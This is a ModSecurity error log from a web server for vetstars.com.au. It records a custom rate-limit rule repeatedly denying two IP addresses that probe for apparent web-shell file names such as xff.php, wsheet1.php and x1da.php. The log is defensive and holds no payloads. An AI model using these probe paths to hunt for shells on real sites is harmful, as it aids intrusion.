[Fri Apr 10 21:58:23.985557 2026] [:error] [pid 13189:tid 13212] [client 20.238.64.167:8178] [client 20.238.64.167] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xff.php"] [unique_id "adkB_5AxiJKPums3eBDNjgAAAFQ"]
[Fri Apr 10 21:58:24.356334 2026] [:error] [pid 62651:tid 62667] [client 20.251.36.179:50532] [client 20.251.36.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/file21.php"] [unique_id "adkCADbAH0le57SIaqwo9AAAAc4"]
[Fri Apr 10 21:58:24.484268 2026] [:error] [pid 62819:tid 62843] [client 20.238.64.167:36129] [client 20.238.64.167] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xff.php"] [unique_id "adkCAPU20EyPf7NlslduKgAAApU"]
[Fri Apr 10 21:58:24.982755 2026] [:error] [pid 62710:tid 62735] [client 20.238.64.167:36113] [client 20.238.64.167] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xff.php"] [unique_id "adkCAOME7qrf5xEWWJshKQAAAhY"]
[Fri Apr 10 21:58:25.294181 2026] [:error] [pid 62710:tid 62729] [client 20.251.36.179:36420] [client 20.251.36.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/class19.php"] [unique_id "adkCAeME7qrf5xEWWJshLgAAAhA"]
[Fri Apr 10 21:58:25.483549 2026] [:error] [pid 13101:tid 13136] [client 20.238.64.167:8075] [client 20.238.64.167] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xff.php"] [unique_id "adkCAd8Ldw85818pj2rq9wAAAIM"]
[Fri Apr 10 21:58:25.982882 2026] [:error] [pid 62710:tid 62723] [client 20.238.64.167:36120] [client 20.238.64.167] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wsheet1.php"] [unique_id "adkCAeME7qrf5xEWWJshNQAAAgo"]
[Fri Apr 10 21:58:26.416138 2026] [:error] [pid 62710:tid 62729] [client 20.251.36.179:19955] [client 20.251.36.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/class19.php"] [unique_id "adkCAuME7qrf5xEWWJshPwAAAhA"]
[Fri Apr 10 21:58:26.481389 2026] [:error] [pid 62710:tid 62730] [client 20.238.64.167:8147] [client 20.238.64.167] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wsheet1.php"] [unique_id "adkCAuME7qrf5xEWWJshQQAAAhE"]
[Fri Apr 10 21:58:26.975688 2026] [:error] [pid 63134:tid 63142] [client 20.238.64.167:36112] [client 20.238.64.167] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wsheet1.php"] [unique_id "adkCAtFALqPDwWi6eJKrqQAAA8U"]
[Fri Apr 10 21:58:27.481246 2026] [:error] [pid 62651:tid 62663] [client 20.238.64.167:38329] [client 20.238.64.167] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wsheet1.php"] [unique_id "adkCAzbAH0le57SIaqwo9gAAAco"]
[Fri Apr 10 21:58:27.813587 2026] [:error] [pid 13189:tid 13214] [client 20.251.36.179:36467] [client 20.251.36.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/class19.php"] [unique_id "adkCA5AxiJKPums3eBDNkgAAAFY"]
[Fri Apr 10 21:58:27.976644 2026] [:error] [pid 62819:tid 62825] [client 20.238.64.167:8092] [client 20.238.64.167] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ccs.php"] [unique_id "adkCA_U20EyPf7NlslduLgAAAoM"]
[Fri Apr 10 21:58:28.477584 2026] [:error] [pid 62819:tid 62831] [client 20.238.64.167:38314] [client 20.238.64.167] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ccs.php"] [unique_id "adkCBPU20EyPf7NlslduLwAAAok"]
[Fri Apr 10 21:58:28.613015 2026] [:error] [pid 62769:tid 62787] [client 20.251.36.179:50485] [client 20.251.36.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/class19.php"] [unique_id "adkCBMWsSnfLoB8ifjBsiwAAAlA"]
[Fri Apr 10 21:58:28.983869 2026] [:error] [pid 63062:tid 63070] [client 20.238.64.167:36138] [client 20.238.64.167] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ccs.php"] [unique_id "adkCBJ2HtsmV85NqkMf2DwAAA4Y"]
[Fri Apr 10 21:58:29.481614 2026] [:error] [pid 62769:tid 62781] [client 20.238.64.167:36133] [client 20.238.64.167] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ccs.php"] [unique_id "adkCBcWsSnfLoB8ifjBskQAAAko"]
[Fri Apr 10 21:58:29.986919 2026] [:error] [pid 62769:tid 62788] [client 20.238.64.167:8189] [client 20.238.64.167] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wps.php"] [unique_id "adkCBcWsSnfLoB8ifjBslQAAAlE"]
[Fri Apr 10 21:58:30.080595 2026] [:error] [pid 63062:tid 63071] [client 20.251.36.179:36435] [client 20.251.36.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/class20.php"] [unique_id "adkCBp2HtsmV85NqkMf2EQAAA4c"]
[Fri Apr 10 21:58:30.483342 2026] [:error] [pid 62769:tid 62787] [client 20.238.64.167:38287] [client 20.238.64.167] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wps.php"] [unique_id "adkCBsWsSnfLoB8ifjBsmQAAAlA"]
[Fri Apr 10 21:58:30.840831 2026] [:error] [pid 62769:tid 62771] [client 20.251.36.179:50437] [client 20.251.36.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/class20.php"] [unique_id "adkCBsWsSnfLoB8ifjBsnwAAAkA"]
[Fri Apr 10 21:58:30.983757 2026] [:error] [pid 62769:tid 62791] [client 20.238.64.167:8131] [client 20.238.64.167] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wps.php"] [unique_id "adkCBsWsSnfLoB8ifjBsogAAAlQ"]
[Fri Apr 10 21:58:31.480424 2026] [:error] [pid 62769:tid 62787] [client 20.238.64.167:8130] [client 20.238.64.167] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wps.php"] [unique_id "adkCB8WsSnfLoB8ifjBsqgAAAlA"]
[Fri Apr 10 21:58:31.530044 2026] [:error] [pid 62769:tid 62777] [client 20.251.36.179:19967] [client 20.251.36.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/class20.php"] [unique_id "adkCB8WsSnfLoB8ifjBsrQAAAkY"]
[Fri Apr 10 21:58:31.981570 2026] [:error] [pid 13189:tid 13193] [client 20.238.64.167:8093] [client 20.238.64.167] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wmore1.php"] [unique_id "adkCB5AxiJKPums3eBDNlgAAAEE"]
[Fri Apr 10 21:58:32.072313 2026] [:error] [pid 13189:tid 13192] [client 20.251.36.179:64012] [client 20.251.36.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/class20.php"] [unique_id "adkCCJAxiJKPums3eBDNlwAAAEA"]
[Fri Apr 10 21:58:32.480123 2026] [:error] [pid 13189:tid 13209] [client 20.238.64.167:36137] [client 20.238.64.167] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wmore1.php"] [unique_id "adkCCJAxiJKPums3eBDNmAAAAFE"]
[Fri Apr 10 21:58:32.682121 2026] [:error] [pid 13189:tid 13194] [client 20.251.36.179:2621] [client 20.251.36.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/file18.php"] [unique_id "adkCCJAxiJKPums3eBDNngAAAEI"]
[Fri Apr 10 21:58:32.977345 2026] [:error] [pid 62651:tid 62666] [client 20.238.64.167:38289] [client 20.238.64.167] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wmore1.php"] [unique_id "adkCCDbAH0le57SIaqwo-AAAAc0"]
[Fri Apr 10 21:58:33.293175 2026] [:error] [pid 62819:tid 62834] [client 20.251.36.179:18435] [client 20.251.36.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/file18.php"] [unique_id "adkCCfU20EyPf7NlslduNAAAAow"]
[Fri Apr 10 21:58:33.477697 2026] [:error] [pid 62819:tid 62836] [client 20.238.64.167:36141] [client 20.238.64.167] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wmore1.php"] [unique_id "adkCCfU20EyPf7NlslduNwAAAo4"]
[Fri Apr 10 21:58:33.984754 2026] [:error] [pid 63062:tid 63068] [client 20.238.64.167:8073] [client 20.238.64.167] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ggb.php"] [unique_id "adkCCZ2HtsmV85NqkMf2FAAAA4Q"]
[Fri Apr 10 21:58:34.295292 2026] [:error] [pid 13189:tid 13209] [client 20.251.36.179:2347] [client 20.251.36.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/file18.php"] [unique_id "adkCCpAxiJKPums3eBDNqQAAAFE"]
[Fri Apr 10 21:58:34.498034 2026] [:error] [pid 63062:tid 63083] [client 20.238.64.167:8134] [client 20.238.64.167] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ggb.php"] [unique_id "adkCCp2HtsmV85NqkMf2FQAAA5M"]
[Fri Apr 10 21:58:34.999153 2026] [:error] [pid 13189:tid 13212] [client 20.238.64.167:36110] [client 20.238.64.167] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ggb.php"] [unique_id "adkCCpAxiJKPums3eBDNrQAAAFQ"]
[Fri Apr 10 21:58:35.053389 2026] [:error] [pid 63134:tid 63147] [client 20.251.36.179:36451] [client 20.251.36.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/file18.php"] [unique_id "adkCC9FALqPDwWi6eJKrrwAAA8o"]
[Fri Apr 10 21:58:35.841913 2026] [:error] [pid 62884:tid 62906] [client 20.251.36.179:19961] [client 20.251.36.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/vee.php"] [unique_id "adkCC-UCK1xrhnnmpo2H6gAAAs8"]
[Fri Apr 10 21:58:36.435046 2026] [:error] [pid 62769:tid 62782] [client 20.251.36.179:36388] [client 20.251.36.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/vee.php"] [unique_id "adkCDMWsSnfLoB8ifjBsvwAAAks"]
[Fri Apr 10 21:58:37.078122 2026] [:error] [pid 62819:tid 62830] [client 20.251.36.179:18442] [client 20.251.36.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/vee.php"] [unique_id "adkCDfU20EyPf7NlslduOQAAAog"]
[Fri Apr 10 21:58:37.735590 2026] [:error] [pid 63062:tid 63068] [client 20.251.36.179:64001] [client 20.251.36.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/vee.php"] [unique_id "adkCDZ2HtsmV85NqkMf2JQAAA4Q"]
[Fri Apr 10 21:58:38.385273 2026] [:error] [pid 13189:tid 13213] [client 20.251.36.179:33148] [client 20.251.36.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/cabs.php"] [unique_id "adkCDpAxiJKPums3eBDNtwAAAFU"]
[Fri Apr 10 21:58:39.062264 2026] [:error] [pid 62884:tid 62912] [client 20.251.36.179:39007] [client 20.251.36.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/cabs.php"] [unique_id "adkCD-UCK1xrhnnmpo2H6wAAAtU"]
[Fri Apr 10 21:58:39.867268 2026] [:error] [pid 63134:tid 63142] [client 20.251.36.179:18487] [client 20.251.36.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/cabs.php"] [unique_id "adkCD9FALqPDwWi6eJKrtQAAA8U"]
[Fri Apr 10 21:58:40.699889 2026] [:error] [pid 13189:tid 13200] [client 20.251.36.179:2308] [client 20.251.36.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/cabs.php"] [unique_id "adkCEJAxiJKPums3eBDNvgAAAEg"]
[Fri Apr 10 21:58:41.350960 2026] [:error] [pid 13100:tid 13124] [client 20.251.36.179:33091] [client 20.251.36.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/xwx1.php"] [unique_id "adkCEVzg-ZkZ0InWIP3DAwAAARM"]
[Fri Apr 10 21:58:42.295124 2026] [:error] [pid 13100:tid 13106] [client 20.251.36.179:39008] [client 20.251.36.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/xwx1.php"] [unique_id "adkCElzg-ZkZ0InWIP3DBgAAAQE"]
[Fri Apr 10 21:58:42.969286 2026] [:error] [pid 13100:tid 13127] [client 20.251.36.179:50451] [client 20.251.36.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/xwx1.php"] [unique_id "adkCElzg-ZkZ0InWIP3DCAAAARY"]
[Fri Apr 10 21:58:43.852159 2026] [:error] [pid 13101:tid 13137] [client 20.251.36.179:2927] [client 20.251.36.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/xwx1.php"] [unique_id "adkCE98Ldw85818pj2rrBAAAAIQ"]
[Fri Apr 10 21:58:44.644469 2026] [:error] [pid 62710:tid 62724] [client 20.251.36.179:33115] [client 20.251.36.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/x1da.php"] [unique_id "adkCFOME7qrf5xEWWJshSwAAAgs"]
[Fri Apr 10 21:58:45.743917 2026] [:error] [pid 62819:tid 62836] [client 20.251.36.179:39006] [client 20.251.36.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/x1da.php"] [unique_id "adkCFfU20EyPf7NlslduSwAAAo4"]
[Fri Apr 10 21:58:46.921754 2026] [:error] [pid 13101:tid 13138] [client 20.251.36.179:19914] [client 20.251.36.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/x1da.php"] [unique_id "adkCFt8Ldw85818pj2rrCAAAAIU"]
[Fri Apr 10 21:58:47.680823 2026] [:error] [pid 13101:tid 13144] [client 20.251.36.179:64023] [client 20.251.36.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/x1da.php"] [unique_id "adkCF98Ldw85818pj2rrDQAAAIs"]
[Fri Apr 10 21:58:48.638613 2026] [:error] [pid 13100:tid 13107] [client 20.251.36.179:36438] [client 20.251.36.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/jp.php"] [unique_id "adkCGFzg-ZkZ0InWIP3DDgAAAQI"]
[Fri Apr 10 21:58:49.507698 2026] [:error] [pid 62769:tid 62774] [client 20.251.36.179:39028] [client 20.251.36.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/jp.php"] [unique_id "adkCGcWsSnfLoB8ifjBs1QAAAkM"]
[Fri Apr 10 21:58:50.335135 2026] [:error] [pid 63062:tid 63066] [client 20.251.36.179:36370] [client 20.251.36.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/jp.php"] [unique_id "adkCGp2HtsmV85NqkMf2XQAAA4I"]
[Fri Apr 10 21:58:51.007324 2026] [:error] [pid 62819:tid 62827] [client 20.251.36.179:39032] [client 20.251.36.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/jp.php"] [unique_id "adkCG_U20EyPf7NlslduYwAAAoU"]
